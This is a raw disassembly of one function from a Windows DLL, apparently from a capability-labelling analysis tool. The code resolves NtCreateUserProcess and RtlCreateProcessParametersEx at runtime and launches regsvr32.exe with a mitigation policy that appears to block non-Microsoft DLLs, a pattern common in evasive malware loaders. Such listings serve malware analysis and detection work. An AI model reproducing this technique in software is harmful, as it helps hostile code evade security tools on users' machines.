Function at 0x180009e90
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [0x1800bf080]
xor rax, rsp
mov qword [rbp + 0xc0], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
mov r8d, 1
lea rdx, [0x1800803b8]
lea rcx, [rbp - 8]
call fcn.180005b10
nop
lea rbx, [0x1800bfcd0]
mov rcx, rbx
call fcn.18000a5f0
mov rdi, 0xffffffffffffffff
cmp rax, rdi
je 0x180009f61
lea rcx, [rax + 1]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov rax, qword [0x1800bfce0]
cmp rax, rcx
jb 0x18000a5bb
sub rax, rcx
mov r8, rdi
cmp rax, rdi
cmovb r8, rax
mov rax, rbx
cmp qword [0x1800bfce8], 7
cmova rax, qword [0x1800bfcd0]
lea rdx, [rax + rcx*2]
lea rcx, [rsp + 0x60]
call fcn.180005b10
jmp 0x180009f6e
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.18000a740
mov rdx, qword [rsp + 0x60]
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmovbe rdx, rax
mov r8, qword [rsp + 0x70]
lea rcx, [rbp - 8]
call fcn.18000a870
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180009fd3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009fce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000a5c1
call fcn.180051eb0
lea r14, [0x1800bfcb0]
mov rcx, r14
cmp qword [0x1800bfcc8], 7
cmova rcx, qword [0x1800bfcb0]
mov qword [rbp - 0x10], rcx
mov edx, 0xffdc
test rcx, rcx
je 0x18000a01f
mov rax, rdi
nop
inc rax
cmp word [rcx + rax*2], 0
jne 0x18000a000
add eax, eax
cmp eax, edx
cmova eax, edx
mov word [rbp - 0x18], ax
add ax, 2
mov word [rbp - 0x16], ax
jmp 0x18000a023
mov dword [rbp - 0x18], r12d
lea rax, str.C:WindowsSystem32_regsvr32.exe
mov qword [rbp + 0x28], rax
mov r13d, 0x40
mov dword [rbp + 0x20], 0x420040
lea rcx, [rbp - 8]
cmp qword [rbp + 0x10], 7
cmova rcx, qword [rbp - 8]
mov qword [rbp - 0x20], rcx
test rcx, rcx
je 0x18000a074
mov rax, rdi
inc rax
cmp word [rcx + rax*2], 0
jne 0x18000a055
add eax, eax
cmp eax, edx
cmova eax, edx
mov word [rbp - 0x28], ax
add ax, 2
mov word [rbp - 0x26], ax
jmp 0x18000a078
mov dword [rbp - 0x28], r12d
mov qword [rbp - 0x40], r12
lea rcx, str.NTDLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rsi, rax
test rax, rax
je 0x18000a0ec
lea rdx, str.RtlCreateProcessParametersEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x18000a0b1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x18000a0ec
mov dword [rsp + 0x50], 1
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x18]
xor r8d, r8d
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x40]
call rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x6c], xmm0
movups xmmword [rbp + 0x7c], xmm0
movups xmmword [rbp + 0x8c], xmm0
movups xmmword [rbp + 0x9c], xmm0
mov qword [rbp + 0xac], rax
mov dword [rbp + 0xb4], eax
mov qword [rbp + 0x60], 0x58
mov dword [rbp + 0x68], r12d
mov rcx, rbx
call fcn.18000a5f0
cmp rax, 0xffffffffffffffff
je 0x18000a181
lea rcx, [rax + 1]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov rax, qword [0x1800bfce0]
cmp rax, rcx
jb 0x18000a5c7
sub rax, rcx
cmp rax, 0xffffffffffffffff
cmovb rdi, rax
cmp qword [0x1800bfce8], 7
cmova rbx, qword [0x1800bfcd0]
lea rdx, [rbx + rcx*2]
mov r8, rdi
lea rcx, [rsp + 0x60]
call fcn.180005b10
jmp 0x18000a18f
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.18000a740
nop
mov rcx, qword [0x1800bfcc0]
movabs rax, 0x7ffffffffffffffe
sub rax, rcx
cmp rax, 1
jb 0x18000a5cd
cmp qword [0x1800bfcc8], 7
cmova r14, qword [0x1800bfcb0]
mov qword [rsp + 0x30], 1
lea rax, [0x1800802d8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, r14
lea rcx, [rbp - 0x60]
call fcn.18000ad20
nop
lea r9, [rsp + 0x60]
lea r8, [rbp - 0x60]
lea rcx, [rbp - 0x80]
call fcn.18000ab10
nop
lea rcx, [rbp - 0x80]
call fcn.180008ce0
movzx ebx, al
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x18000a243
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a23e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000a5d3
call fcn.180051eb0
movdqa xmm0, xmmword [0x1800994d0]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], r12w
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x18000a296
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a290
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000a5d9
call fcn.180051eb0
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18000a2d8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a2d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000a5df
call fcn.180051eb0
test bl, bl
je 0x18000a2e9
call fcn.180007950
test eax, eax
jne 0x18000a5e5
mov dword [rbp + 0x30], 0x30
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rax
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov r8d, 8
mov rcx, qword [rcx + 0x30]
call fcn.1800078d0
mov rsi, rax
mov rcx, qword gs:[0x30]
mov rcx, qword [rcx + 0x60]
mov r8d, 0x20
mov rcx, qword [rcx + 0x30]
call fcn.1800078d0
mov r14, rax
mov rcx, qword gs:[0x30]
mov rcx, qword [rcx + 0x60]
mov r8, r13
mov rcx, qword [rcx + 0x30]
call fcn.1800078d0
mov r15, rax
mov rcx, qword gs:[0x30]
mov rcx, qword [rcx + 0x60]
mov r8d, 0xc8
mov rcx, qword [rcx + 0x30]
call fcn.1800078d0
mov rbx, rax
mov qword [rax], 0xc8
mov qword [rax + 8], 0x10003
mov qword [rax + 0x10], 0x10
mov qword [rax + 0x18], r14
mov qword [rax + 0x28], 6
mov qword [rax + 0x30], r13
mov qword [rax + 0x38], r15
mov qword [rax + 0x48], 0x20005
mov qword [rax + 0x50], 0x48
lea rax, str.__C:WindowsSystem32_regsvr32.exe
mov qword [rbx + 0x58], rax
mov qword [rbx + 0x68], 0x2000a
mov qword [rbx + 0x70], 8
mov qword [rbx + 0x78], rsi
movabs rax, 0x200000000000
mov qword [rbp + 0x18], rax
mov qword [rbx + 0x88], 0x20010
mov qword [rbx + 0x90], 8
lea rax, [rbp + 0x18]
mov qword [rbx + 0x98], rax
add qword [rbx], 0xffffffffffffffe0
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r12
mov rdi, qword [rbp - 0x40]
lea rcx, str.NTDLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18000a484
lea rdx, str.NtCreateUserProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x18000a442
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000a484
mov qword [rsp + 0x50], rbx
lea rcx, [rbp + 0x60]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
lea rcx, [rbp + 0x30]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9d, 0x2000000
mov r8d, r9d
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x38]
call rax
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov r8, rbx
mov rcx, qword [rcx + 0x30]
call fcn.180007850
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov r8, rsi
mov rcx, qword [rcx + 0x30]
call fcn.180007850
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov r8, r14
mov rcx, qword [rcx + 0x30]
call fcn.180007850
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov r8, r15
mov rcx, qword [rcx + 0x30]
call fcn.180007850
mov rdi, qword [rbp - 0x40]
lea rcx, str.NTDLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x18000a52c
lea rdx, str.RtlDestroyProcessParameters
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x18000a527
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000a52c
mov rcx, rdi
call rax
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x18000a583
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a57e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000a5b5
call fcn.180051eb0
xor eax, eax
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.180051e90
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180058024
nop
call fcn.1800048f0
nop
call fcn.180058024
int3
call fcn.1800048f0
nop
call fcn.180006910
nop
call fcn.180058024
nop
call fcn.180058024
nop
call fcn.180058024
int3
xor edx, edx
xor ecx, ecx
call fcn.180054000
int3